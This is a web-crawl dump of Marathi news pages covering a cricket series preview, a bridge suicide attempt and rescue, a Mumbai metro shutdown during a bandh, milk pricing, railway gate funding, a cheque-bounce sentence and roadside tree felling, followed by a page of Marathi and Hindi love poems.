(ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00210.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://mahasports.co.in/today-team-india-has-a-chance-to-win-t20i-series-vs-new-zealand/", "date_download": "2018-09-25T17:36:01Z", "digest": "sha1:RMD7SBDBUB45QXPSNTKRFUD2JUXM4VL7", "length": 7750, "nlines": 66, "source_domain": "mahasports.co.in", "title": "दुसरा टी२० सामना: भारताला आज मालिका विजयाची संधी -", "raw_content": "\nदुसरा टी२० सामना: भारताला आज मालिका विजयाची संधी\nदुसरा टी२० सामना: भारताला आज मालिका विजयाची संधी\n भारत विरुद्ध न्यूझीलंड संघात आज ३ सामन्यांच्या टी २० मालिकेतील दुसरा सामना राजकोटच्या सौराष्ट्र क्रिकेट असोसिएशन स्टेडियमवर होणार आहे. या मालिकेत भारतीय संघ १-० ने आघाडीवर आहे. त्यामुळे भारताने आज विजय मिळवल्यास भारत ही मालिकाही जिंकेल.\n१ नोव्हेंबरला दिल्लीत झालेल्या पहिल्या सामन्यात भारतीय संघाने ५३ धावांनी विजय मिळवला होता. या सामन्यात भारतीय फलंदाजी चांगलीच बहरली होती. भारताचे सलामीवीर रोहित शर्मा आणि शिखर धवन या दोघांनीही ८० धावांची अर्धशतकी खेळी केली होती. ज्यामुळे भारतीय संघाने २०० धावांचा टप्पा गाठला होता.\nहा सामना भारतीय वेगवान गोलंदाज आशिष नेहराचा शेवटचा आंतरराष्ट्रीय सामना होता. भारतीय संघाने त्याला आंतरराष्ट्रीय क्रिकेटमधून विजयी निरोप दिला.\nन्यूझीलंड संघही आजचा सामना जिंकून मालिकेत पुनरागमन करण्याचा प्रयत्न करेल. असे झाल्यास मालिका १-१ अशी बरोबरीची होईल.\nतसेच आजच्या सामन्यात भारताचा माजी कर्णधार आणि यष्टीरक्षक एमएस धोनीला एक मोठा विक्रम करता येणार आहे. जर धोनीने या सामन्यात ३१ धावा केल्या तर तो भारतात झालेल्या आंतरराष्ट्रीय टी२० सामन्यांत ५०० धावा करणारा केवळ दुसरा खेळाडू बनणार आहे. याआधी असे विराट कोहलीने केले आहे.\nत्याचबरोबर ट्वेंटी ट्वेंटी क्रिकेट प्रकारात ७००० धावा करणारा पहिला भारतीय खेळाडू बनण्यासाठी कर्णधार विराटला केवळ १० धावांची गरज आहे.\nअखेर रविंद्र जडेजाने तो सचिन तेंडुलकरचा विक्रम मोडलाच\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00210.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Konkan/ratnagiri-Bhatyya-bridge-on-attempt-to-youth-trying-to-sucide/", "date_download": "2018-09-25T17:40:31Z", "digest": "sha1:WGIG365HZHYOCD7LNPHUAPMJQQC6UCFQ", "length": 5111, "nlines": 36, "source_domain": "www.pudhari.news", "title": " भाट्ये पुलावरून तरुणाचा आत्महत्येचा प्रयत्न | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Konkan › भाट्ये पुलावरून तरुणाचा आत्महत्येचा प्रयत्न\nभाट्ये पुलावरून तरुणाचा आत्महत्येचा प्रयत्न\nशहरानजीकच्या भाट्ये पुलावरून उडी मारत आत्महत्येचा प्रयत्न करणार्‍या तरुणाला स्थानिक मच्छीमारांनी वाचवले. ही घटना बुधवार, 13 जून रोजी दुपारी घडली. त्याला रत्नागिरी जिल्हा शासकीय रुग्णालयात दाखल करण्यात आले आहे; मात्र त्याने आत्महत्येचा प्रयत्न का केला, हे कळू शकले नाही.\nसचिन तुकाराम घाग (वय 33, रा. राजिवडा, रत्नसागर अपार्टमेंट, रत्नागिरी) असे त्याचे नाव आहे. बुधवारी दुपारी 2.30 वा. सुमारास त्याने भाट्ये पुलावरून समुद्रात उडी मारत आत्महत्या करण्याचा प्रयत्न केला. त्यावेळी भाट्ये पुलावरून मासेमारी करणार्‍या काही तरुणांनी आणि तेथील स्थानिक मच्छीमारांनी सचिनला समुद्रात उडी मारताना पाहिले. सचिनने समुद्रात उडी मारताच त्यांनीही त्याला वाचवण्यासाठी समुद्रात उड्या मारल्या. तर काही मच्छीमारांनी आपल्या होड्या समुद्रात नेऊन त्याला किनारी आणले.\nदरम्यान, एका तरुणाने समुद्रात उडी मारत आत्महत्या करण्याचा प्रयत्न केल्याची बातमी शहरात वार्‍यासारखी पसरली. ही माहिती तेथील नगरसेविका अस्मिता चवंडे यांना समजताच त्यांनी तातडीने घटनास्थळी धाव घेत सचिनला तातडीने रत्नागिरी जिल्हा शासकीय रुग्णालयात दाखल केले. सचिनची प्रकृती स्थिर आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00211.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/Mumbai-Metro-Service-Suspended/", "date_download": "2018-09-25T16:53:45Z", "digest": "sha1:WZNE27TMTS45BUYIUJDS2WPRRZHTGVT4", "length": 5545, "nlines": 54, "source_domain": "www.pudhari.news", "title": " आंदोलकांमुळे मेट्रो सेवा काही काळासाठी बंद | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › आंदोलकांमुळे मेट्रो सेवा काही काळासाठी बंद\nआंदोलकांमुळे मेट्रो सेवा काही काळासाठी बंद\nघाटकोपर ते वर्सोवा या दरम्यान धावणाऱ्या मेट्रो-१ मार्गालाही बंदचा फटका बसला आहे. आंदोलकांच्या आंदोलनानंतर घाटकोपर ते एअरपोर्ट रोड या मार्गावरील मेट्रो काही काळासाठी बंद करण्यात आली आहे.\nमहाराष्ट्र बंदच्या पार्श्वभूमीवर आंदोलकांनी मेट्रो रेल्वे सुद्धा घाटकोपर मेट्रो स्थानकावर जाऊन रोखली. यानंतर मुंबई मेट्रोने सुरक्षेच्या कारणास्तव घाटकोपर ते एअरपोर्ट रोडपर्यंत आपली सेवा बंद केली आहे. तर एअरपोर्ट रोड ते वर्सोव्यापर्यंत मात्र मेट्रोची सेवा सुरू आहे. रेल्वे आणि रस्ते वाहतूक विस्कळीत झाल्यामुळे मुंबईकरांचे हाल झाले आहेत.\nआंदोलक असल्फा मेट्रो स्टेशनवरही घोषणाबाजी करत रुळावर उतरले. यामुळे ही मेट्रो जवळपास दहा मिनिटे एकाच ठिकाणी उभी होती. वर्सोवाकडे जाणारी मेट्रो रोखल्याने अनेक प्रवासी यात अडकले होते. मेट्रो सुरू झाल्यापासून पहिल्यांदाच अशा प्रकारे मेट्रो रोखली गेली आहे.\nभीमा कोरेगाव प्रकरण : सुरक्षेसाठी इंटरनेट बंद\nजिग्नेश मेवानींची मुंबईतील सभा रद्द\nमहाराष्ट्र बंद (Live Updates)\nआंदोलकांमुळे मेट्रो सेवा काही काळासाठी बंद\nभीमा कोरेगाव प्रकरण : सुरक्षेसाठी इंटरनेट बंद\nजिग्नेश मेवानींची मुंबईतील सभा रद्द\nठाण्यात बंदमुळे जनजीवन विस्कळीत (व्‍हिडिओ)\nनवी मुंबई बाजारसमितीला बंदचा फटका\nमहाराष्ट्र बंद (Live Updates)\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00211.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/milk-price-issue-maharashtra-farmer/", "date_download": "2018-09-25T16:51:12Z", "digest": "sha1:AALRMX5PFKUFFAFOMRRR7U7EH5ZSMB7B", "length": 7832, "nlines": 37, "source_domain": "www.pudhari.news", "title": " दुधाची प्रतिलिटर २७ रुपयाने खरेदी नाहीच | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › दुधाची प्रतिलिटर २७ रुपयाने खरेदी नाहीच\nदुधाची प्रतिलिटर २७ रुपयाने खरेदी नाहीच\nएक जूनच्या अभूतपूर्व शेतकरी संपानंतर शासनाने दुधाला 27 रुपये भाव देण्याचा अध्यादेश काढला होता; परंतु शासनाला याची अंमलबजावणी अद्याप करता आलेली नाही. त्यामुळे शेतकरी आणि दूध उत्पादक नाराज झाले आहे. दूध उत्पादकांना याचा आर्थिक फटका बसत आहे.\nजूनच्या शेतकरी संपानंतर दूध उत्पादकांना दिलासा देण्यासाठी व शेतकर्यांसाठी शासन किती संवेदनशील आहे हे दाखवून देण्यासाठी शासनाने 19 जून 2017 रोजी दुधाला प्रतिलिटर 27 रुपये दर देण्याचा आदेश काढला होता. या अध्यादेशाची अंमलबजावणी करणे हे सत्ताधारी पक्षाच्या नेत्याचे काम होते; तसेच अध्यादेशाची अंमलबजावणी करण्यासाठी विरोधी पक्षांनीदेखील जोरदार प्रयत्न करण्याची आवश्यकता होती; परंतु शेतकर्यांच्या दूधदराच्या प्रश्नावर असे काहीच घडले नसल्यामुळे दूध उत्पादकांना खंत वाटत आहे. दुधाच्या प्रश्नावर सत्ताधारी बोलत नाहीत व विरोधक आपल्याला नफेखोरी करता येणार नाही म्हणून गप्प आहेत, अशी चर्चा दूध उत्पादकांमध्ये आहे. सत्ताधारी व विरोधकांच्या बोटचेपी धोरणामुळे सामान्य दूध उत्पादक शेतकरी मात्र भरडला जात आहे.\nशासनाने दुधाचा दर 27 रुपये जाहीर केल्यानंतर दूध व दुधापासून तयार होणार्या उपपदार्थांचे, चारा-पेंडीचे दर वाढले; परंतु सध्या दुधाचा दर 18 ते 20 रुपये प्रतिलिटरवर आला असून, त्या तुलनेत पॅकिंग दूध व दुधापासून तयार होणार्या उपपदार्थांचे चारा व पेंडीचे दर त्या तुलनेत कमी झालेले नाहीत. दुधाला 27 रुपये प्रतिलिटर दराची अंमलबजावणी करण्यासाठी शासन कमी पडत आहे. शासनाने दुधाचा दर 27 रुपये जाहीर केल्यानंतर त्याचा फायदा केवळ दूध संघांनाच झाला आहे. जे संघ 27 रुपये दुधाला दर देणार नाहीत त्यांच्यावर शासनाने महाराष्ट्र सहकारी संस्था अधिनियम 1960 च्या कलम 79 अ नुसार कारवाई करण्याची आवश्यकता आहे.\nएक लिटर दुधाचा उत्पादन खर्च 42 रुपये प्रतिलिटर आहे. असे असताना दूध उत्पादक दुधाला एवढा दर मागायचा कसा व तो आपल्याला दिला जाणार नाही म्हणून मिळेल त्या दूध दरावर समाधान मानत आहेत. शासनस्तरावरून दूध संघांना वेळोवेळी अनुदान देऊन बळकटी दिली जाते; परंतु दुधाला उत्पादन खर्चाएवढादेखील दर दिला जात नाही. दूध उत्पादक शेतकर्यांना आर्थिक बळकटी देण्यासाठी शासनस्तरावरून कोणत्याही प्रकारचे प्रयत्न केले जात नसल्याचे दिसत आहे. दुधाला भाव मिळत नसल्यामुळे सध्या दूध उत्पादक शेतकरी मेटाकुटीला आलेला आहे. शासनाने दूध उत्पादकांच्या बाबतीत धोरणात्मक निर्णय घेण्याची गरज आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00211.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/38-crore-funds-to-the-Solapur-division-to-close-Railgate/", "date_download": "2018-09-25T17:16:50Z", "digest": "sha1:5QP66J576JJRE2KZMF7FDSUTCCTLBIT6", "length": 7058, "nlines": 40, "source_domain": "www.pudhari.news", "title": " रेल्वेगेट बंद करण्यासाठी सोलापूर डिव्हिजनला 38 कोटींचा निधी | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › रेल्वेगेट बंद करण्यासाठी सोलापूर डिव्हिजनला 38 कोटींचा निधी\nरेल्वेगेट बंद करण्यासाठी सोलापूर डिव्हिजनला 38 कोटींचा निधी\nसोलापूर डिव्हिजनमधील रेल्वे फाटक किंवा रेल्वेगेट बंद करण्यासाठी रेल्वे मंत्रालयाकडून 38 कोटींचा निधी मिळाला असून मध्य रेल्वेमध्ये येणार्‍या पाचही डिव्हिजनला 130 कोटी रुपयांचा निधी देण्याचा निर्णय रेल्वे मंत्रालयाकडून आला आहे.परंतु लातूरमध्ये एका रेल्वे फाटकास बंद करण्यास रेल्वे प्रशासनाची दमछाक होत आहे. रेल्वे प्रशासन रोड अंडर ब्रिज (आरयूबी-भुयारी मार्ग)करण्याच्या विचाराधीन आहे, परंतु यास ग्रामस्थांकडून विरोध होत आहे.\nभारतामध्ये गेल्या पाच वर्षांपासून 278 पेक्षा अधिक अपघात रेल्वे फाटकांवर झाले आहेत. यामध्ये आजतागायत 322 लोकांनी आपले प्राण गमावले आहेत व 340 लोक जखमी झाले आहेत.\nरेल्वे प्रशासन देशातील ही रेल्वे फाटके पूर्णत: बंद करण्याच्या तयारीत आहे. रेल्वे प्रशासनाने 2020-2021 पर्यंत देशातील सर्व रेल्वेगेट बंद करण्याचे उद्दिष्ट समोर ठेवले आहे. रेल्वेमंत्र्यांनी 2018-2019 याकाळात रेल्वेगेट बंद करण्यासाठी विशेष निधी राखीव ठेवण्यात आला आहे. सोलापूर डिव्हिजनमधील रेल्वेगेट बंद करण्यासाठी 38 कोटींचा निधी मिळणार आहे.\nलातूर येथील रेल्वेगेट क्र. 49\nलातूर जिल्ह्यातील गेट क्र. 49 वरुन वाहनांची ये-जा करण्याची एकूण संख्या 7542 एवढी आहे. येथील ग्रामस्थांना पलीकडे जाण्यासाठी मेल, एक्स्प्रेस किंवा रेल्वे मालगाडी जाताना गेटवर थांबावे लागत आहे.रेल्वे प्रशासनाने हे रेल्वेगेट बंद करुन त्याऐवजी भुयारी मार्ग सुरु करण्याचा प्रयत्न केला असता त्याला स्थानिक ग्रामस्थांनी विरोध केला आहे. येथील कामकाज लवकरात लवकर चालू करण्यासाठी रेल्वे प्रशासन लातूर येथील जिल्हाधिकारी यांच्याशी चर्चा करत आहे.\nभविष्यात देशातील सर्व रेल्वेगेट बंद होणार\nभविष्यात भारतामधील सर्व रेल्वेगेट बंद करण्यासाठी रेल्वे मंत्रालय युध्दपातळीवर कार्य करत आहे. मध्य रेल्वेच्या 5 डिव्हिजनसाठी 130 कोटी रुपयांचा निधी देण्यात आला आहे. सोलापूर डिव्हिजनला 38 कोटी मिळाले आहेत. गेल्या पाच वर्षांमध्ये देशामध्ये आजपर्यंत 278 अपघात झाले असून 322 लोकांना आपले प्राण गमवावे लागले आहेत.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00211.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/In-the-case-of-non-payment-of-checks-a-youth-gets-Punishment-for-three-months/", "date_download": "2018-09-25T17:52:07Z", "digest": "sha1:5CCI3GW4D76BJPKRJOJTUN74GA7RVJDQ", "length": 5196, "nlines": 35, "source_domain": "www.pudhari.news", "title": " धनादेश न वटल्याप्रकरणी एकास तीन महिने शिक्षा | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › धनादेश न वटल्याप्रकरणी एकास तीन महिने शिक्षा\nधनादेश न वटल्याप्रकरणी एकास तीन महिने शिक्षा\nमाढ्यातील सन्मती पतसंस्थेला कर्जापोटी दिलेला धनादेश न वटल्याने संस्थेची फसवणूक केल्याप्रकरणी रंगनाथ कृष्णा रणदिवे यांना माढा न्यायालयाने तीन महिन्यांची साधी कैद व एक लाख रूपये दंडाची शिक्षा सुनावली.\nरणदिवेवाडी येथील रंगनाथ कृष्णा रणदिवे यांनी माढ्यातील सन्मती पतसंस्थेकडून 2005 मध्ये स्वतःसाठी व जामिनदारांसाठी 93 हजारांचे कर्ज घेतले होते. त्यामध्ये कर्जाचे हप्ते भरताना स्वतःच्या व जामिनदाराच्या कर्जापोटी 88700 रूपयांचा धनादेश संस्थेस दिला होता. तो धनादेश त्यांच्या खात्यावर पैसे नसल्याने न वटता परत आला. त्यावेळी संस्थेने त्यांना खात्यात पैसे जमा करण्यासाठी सांगितले. तरीही पैसे न भरल्याने संस्थेतर्फे भारत जनार्धन टिंगरे यांनी माढा फौजदारी न्यायालयात कलम 138 प्रमाणे फिर्याद दाखल केली होती. याप्रकरणाची न्यायालयासमोर सुनावणी होऊन फिर्याद शाबित झाल्याने माढ्याचे फौजदारी न्यायाधीश सिद्धार्थ गोडबोले यांनी दोषी ठरवून तीन महिन्यांची साधी कैदेची शिक्षा सुनावली.\nआरोपीने फिर्यादीस नुकसान भरपाई म्हणून एक लाख रूपये एक महिन्याच्या आत द्यावेत, ते न दिल्यास आरोपीस तीन महिन्यांची साधी कैद देण्यात येईल, असे आदेश दिले आहेत.संस्थेकडून अ‍ॅड. सुदेश कुर्डे यांनी काम पाहिले.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00211.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Solapur/pandharpur-satara-road-thousands-of-tree-cut-for-road-construction/", "date_download": "2018-09-25T17:19:06Z", "digest": "sha1:HXG3JZ2QIZEQUCNZYJXJZIEPMVZFQLL6", "length": 6842, "nlines": 34, "source_domain": "www.pudhari.news", "title": " पंढरपूर-सातारा मार्गावरील हजारो झाडांची कत्तल | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Solapur › पंढरपूर-सातारा मार्गावरील हजारो झाडांची कत्तल\nपंढरपूर-सातारा मार्गावरील हजारो झाडांची कत्तल\nपंढरपूर-सातारा या राज्य मार्गाचे रुंदीकरण करण्यात येत असून या रुंदीकरणाच्या कामात अडथळा ठरत असलेली जुनी शेकडो झाडे कापून काढली जात आहेत. अनेक दशके सावली देणारी आणि वाटचाल सुखकर करणारी झाडे कापली जात असल्याचे पाहून या मार्गावरून ये-जा करणारे प्रवासी, स्थानिक नागरिक हळहळ व्यक्‍त करीत आहेत.\nपंढरपूर-सातारा मार्ग सध्या दोन पदरी असून त्याचे चौपदरीकरण तसेच सिमेंट काँक्रिटीकरण करण्यात येत आहे. सातारा जिल्ह्यातील म्हसवड ते पंढरपूर तालुक्यातील उपरीपर्यंत रस्त्याचे काम वेगात सुरू झाले आहे. या कामासाठी कोणत्याही प्रकारचे भुसंपादन अथवा नागरिकांच्या मालमत्तांचे नुकसान झालेले नाही. सार्वजनिक बांधकाम विभागाच्या पुर्वीच्याच ताबा रेषेच्या आत हे रुंदीकरण केले जात आहे. मात्र या रुंदीकरणामुळे रस्त्याच्या दोन्ही बाजूला असलेली शेकडो झाडे निर्दयीपणे कापून काढली जात आहेत. कापणी यंत्राच्या सह्यायाने गेल्या 60 ते 70 वर्षांपासून रस्त्याच्या दुतर्फा असलेली पिंपर, लिंब, चिंच अशी चांगली सावली देणारी झाडे कापून काढली जात आहेत. ज्या झाडांच्या सावलीत अनेक दशके प्रवास केला ती झाडे कापून जमीनदोस्त केली जात असल्याचे पाहून या मार्गाने नेहमी प्रवास करणारे प्रवासी, स्थानिक नागरिक हळहळ व्यक्‍त करीत आहेत. पंढरपूर-सातारा मार्गाच्या दोन्ही बाजूंनी विशेषत: पंढरपूर तालुक्यातील भाळवणी, उपरी, सुपली, वाखरी या गावांच्या हद्दीत अतिशय दाट संख्येत झाडे उभा होती. सार्वजनिक बांधकाम विभागाच्या बरोबरीने स्थानिक शेतकर्‍यांनी, नागरिकांनी ही झाडे जतन केली होती. त्यामुळे या झाडांसोबत स्थानिकांनाही जिव्हाळा जडला होता. त्यांच्या डोळ्या देखत झाडांच्या खांडोळ्या केल्या जात असल्याचे पाहून नागरिकांतून हळहळ व्यक्‍त होत आहे. रस्त्याचे रुंदीकरण होईल, विकास अधिक गतीने साध्य होईल मात्र निसर्गाचे संवर्धन केलेली तीन-चार पिढ्यांना सावली दिलेली ही झाडे पुन्हा उभा राहण्यासाठी चार-दोन पिढ्या जातील असेही बोलले जात आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00211.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://thoughtsncreations.wordpress.com/category/poems/", "date_download": "2018-09-25T18:02:17Z", "digest": "sha1:A3E3252ARRSFIPU4P7VAPYME3MLQF6VC", "length": 5219, "nlines": 121, "source_domain": "thoughtsncreations.wordpress.com", "title": "Poems | Thoughts n Creations", "raw_content": "\nबसतो जेव्हा डोळे मिटून,\nनकळत ओले होतात नयन,\nजेव्हा येते मज तुझी आठवण.\nतुझ्या आठवणींत जातो रमून,\nमीच माझे भान हरपून.\nअश्रू नकळत वाहत असतात,\nजणू किती लोक पाहत असतात.\nडोळ्यांसमोर येतो, तुझ्या आठवणींतील प्रत्येक क्षण,\nजेव्हा येते मज तुझी आठवण.\nतो हळवा शीतल वारा होता,\nकी तूच मला स्पर्शून गेलीस\nकी तूच त्यांना पुसून गेलीस\nनिराश होऊन राहतं हे मन,\nजेव्हा येते मज तुझी आठवण.\nतुझ्या आठवणींत इतका रमतो,\nकी तुझ्या असण्याचा भास होतो.\nपण डोळे उघडून जेव्हा पाहतो,\nतो सूर्य मावळताना दिसतो.\nकोणासोबत वाटावे मी माझे एकटेपण,\nजेव्हा येते मज तुझी आठवण\nफिर कोई भूला हुआ फ़साना याद आया,\nजो कभी ना बन सका, वोह अफसाना याद आया,\nकहने को तो भूल चुके है उनको,\nफिर भी उन्हें याद करने का बहाना याद आया|\nउनके लिए लिखी हर ग़ज़ल याद आई,\nउनके लिए गाया हर तराना याद आया,\nकहने को तो भूल चुके है उनको,\nफिर भी उन्हें याद करने का बहाना याद आया|\nउनकी आँखों का वोह शर्माना याद आया,\nउनके लबों का वोह मुस्कुराना याद आया,\nकहने को तो भूल चुके है उनको,\nफिर भी उन्हें याद करने का बहाना याद आया|\nइस शायर को दफ्न कर चुके थे, उनकी यादों के साथ,\nआज मुझे मैं ही दीवाना याद आया,\nआज मुझे मैं ही दीवाना याद आया,\nउन्हें याद करने का बहाना याद 